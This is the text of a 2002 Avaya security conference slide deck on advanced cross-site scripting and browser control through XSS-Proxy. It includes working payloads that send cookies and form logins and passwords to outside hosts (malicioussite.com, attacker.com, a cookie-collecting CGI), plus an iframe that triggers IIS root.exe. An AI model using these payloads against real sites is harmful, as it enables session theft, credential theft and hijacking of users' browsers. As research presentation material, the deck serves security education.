Copyright© 2002 Avaya Inc. All rights reserved

Advanced Cross Site ScriptingEvil XSS

Anton Rager

2

Cross Site Scripting

• 1st Gen XSS was against public sites and ran against everyone that visited site

– attacker uploads script content that everyone visiting page execs

– Popups, redirects other annoyances

– Relayed cookies to attacker

• 2nd Gen XSS focuses on sites that allow self-reflection XSS

– User input modifies resulting page and can inject script commands into returned page (site search and echoed results)

– Normally chained with a 1st Gen attack on public site/email for site redirection with redirection URL forcing a XSS on 2nd site

– Cookies and other site-specific browser info leaked to attacker

3

Cross Site Scripting

• Types of information leakage– Client can reveal cookies to 3rd party (session state, order info, etc)

• http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script>

– Client can reveal posted form items to 3rd party (userID/passwd, etc)• <form> action="logoninformation.jsp" method="post"

onsubmit="hackImg=new Image; hackImg.src='http://www.malicioussite.com/'+document.forms(1).login.value'+':'+ document.forms(1).password.value;" </form>

– Client can be tricked into accessing/posting spoofed info to trusted server

• www.trustedserver.com/xss.asp?name = <iframe src=http://www.trustedserver.com/auth_area/orderupdate?items=4000></iframe>

– Client can be tricked into attacking other sites• /hello.asp?name = <iframe

src=http://vuln.iis.server/scripts/root.exe?/c+dir></iframe>

4

Cross Site Scripting (XSS)Client redirected to site via email/other XSS site

client sends request to server with XSS tags

Server sends response with XSS “commands”

Client executes XSS to 3rd party, server or both

(Info Leak / Trust Leverage)

Single Client Reflection

Target Client

Attacker Server

Server with XSS reflection

Attacking Client

Other Clients

Multi Client Reflection

Public display

Attacker Server

Server with XSS reflection

Private display

Client requests page

Update page with XSS tags

Server sends response with XSS commands

Client executes XSS to 3rd party, server or both

(Info Leak / Trust Leverage / Client Redirection)

5

Limitations of these attacks

• Usually only get one transaction with XSS code against vulnerable site

• Most attacks are only focused on collecting cookies

• POST based forms are seldom leveraged – almost always use GET methods

• Attacker does not know actual responses to client– Some experts recommend using POST, hidden form

inputs and other session state info to limit XSS risks….

6

DOM Security Overview

• Child Windows and same site trust• Scripts can interact between the two windows• Script content can be loaded from anywhere

(RPC/Remote scripting is common)• Images can be loaded from anywhere• Javascript can either be within <script></script> tags,

loaded elsewhere via <script src=remote.com>, or attacked to many tags <img src=javascript….onload=javascript>

• Form GET/POST can be to another site or a javascript action

• XSS allows DOM abuse, but still follows DOM rules

7

IntraWindow/IFRAME Impacts

• Script can read all HTML content/tags in other window

• Script can set/delete tags/content in other window. We can read and set form values, then run a submit()

• Script can set vars and call functions in other window

• Document.write can allow script to create new tags/content in other window

• This means that a script can read all HTML contents of a document, change the appearance of the document, modify exiting tags/and values, modify and submit forms. We have full control of the other window as long it’s in same document.domain

• If we can forward cookies, then we can also forward other jscript accessible content to an attacker. We can forward page contents, form values (including hidden…) jscript vars/state, jscript errors.

8

Load/Read/Forward Overview

• DOM security allows a script to interact with windows it creates if they are still within the same document.domain (same site, same protocol, same port number). DOM security should block script access to documents outside the document.domain of the script (document that loaded it)

• We create a new window and set the location to the same site that we can already XSS – some other directory/or document on same site

– Can either use a new window created by XSS or an inline frame <IFRAME>

– Popup blockers make script based window creation harder, but <IFRAME> still works and can be treated like another window

• If the DOM security is met when we open content (same site…), then we can read/write to the new window.

• We just need some glue to open a list of documents, read the contents and forward the results somewhere – our code will run in original window, documents will be loaded in IFRAME/child window, and our code will be able to read/write the document in the IFRAME

9

Static XSS content leakage (IFRAME)

Victim BrowserXSS against site

IFRAME

Script commands run here

Other documents on site loaded into here

<img src=“attacker.com/innerHTML_of_IFRAME”>

XSS Vulnerable Server

Attacker System

10

XSS and intrawindow trust

• A complex XSS vector could load multiple pages, handle GET and POST submits, determine jscript vars and modify page contents with content in other window

• We can leak contents of pages, form values, results from submits and jscript vars as URL parameters with <img> <script> and other tag refs to attacker site

• Downside is that it’s not interactive and we have to hardcode actions that will work for all XSS victims

11

Controlled XSS – RPC based

• We can load external script with a <script src=xxx> tag

• This can be used to leak document/var info (like the common cookie leakage with <img>) and if we supply script contents back they will be executed. We have a two way channel – victim leaks info to us and we can tell victim what to do next all in the same request.

• This can simplify the initial XSS vector to a simple <script src=http://attacker.com/evilscript.js> that loads the more complex script remotely

• This also allows script contents to be customized or updated as attacker learns more about specific site/victims

12

Dynamic XSS with 2way comms (IFRAME)

Victim BrowserXSS against site

IFRAME

Script commands run here

Other documents on site loaded into here

<script src=“attacker.com/innnerHTML_of_IFRAME”>

XSS Vulnerable Server

Attacker System

New jscript….

<script src=“attacker.com”>

13

Advanced XSS - Hiding IP/location of attack host

• Uses 1 XSS site for controlling window• 3 IFRAMEs in main window

– 1 for load/read on original XSS site (normal XSS-Proxy)– 1 for loading second XSS site with special vector (+subIframe)– 1 for communications channel

• Still have capability to load/read docs of that XSS site in IFRAME1• New site gets loaded into IFRAME2 and creates another IFRAME within for

loading docs on site2• IFRAME3 becomes a covert channel by having site change current location to

point to a URL that will 404. URL is actually the covert contents and gives control to the other site for next redirect of IFRAME3.

• Site1 gets commands from remote attacker, sets IFRAME3 to site2 URL with commands in URL.

• Site2 has control of IFRAME3, so reads the current location to determine commands/tasks to run. Upon completion of tasks, Site2 changes IFRAME3 to Site1 location and leaks results on new URL. Site1 now has control, so reads URL, forwards results to remote attacker, and gives new commands across IFRAME3

14

Visual – Window based and IFRAME based

Victim BrowserXSS against site

IFRAME1

Script commands run here

Site1 documents loaded into here

XSS Site1 Server

Attacker System

IFRAME2

IFRAME3

“Channel” – set to other site with info in URL (404)

Site2 documents loaded into here

Script

XSS Site1 Server

XSS

15

Controlled XSS impacts

• Read/Set arbitrary variables• Read/Set contents of documents (and forms)• Form submission (POST/GET)• Possible to download binary content (XMLHTTP)• Leverage non-cookie based trusts – potential escalation of privs• HTTP Proxy capabilities to remote site? (XMLHTTP)• Browser Zombies• MITM when user goes to one of our XSS controlled sites• DDoS potential• Transfer victim to other XSS vulnerable sites• Masqueraded site hacking – Nikto via XSS?• Cross Site Request Forging (CSRF)• CSRF + XSS Fuzz with validation• A Giant Jscript cluster

16

Implications

• How do you know if you have XSSWare running?

• How much do you trust the site you are logged into?

• Do you know if the responses from a site are actually the site, or XSSWare MITMing you?

• If you are running a site, how do you know that a specific browser is actually the attacker?

17

More Info

• Xss-proxy and slides– http://sourceforge.net/projects/xss-proxy

• Anton Rager – arager@avaya.com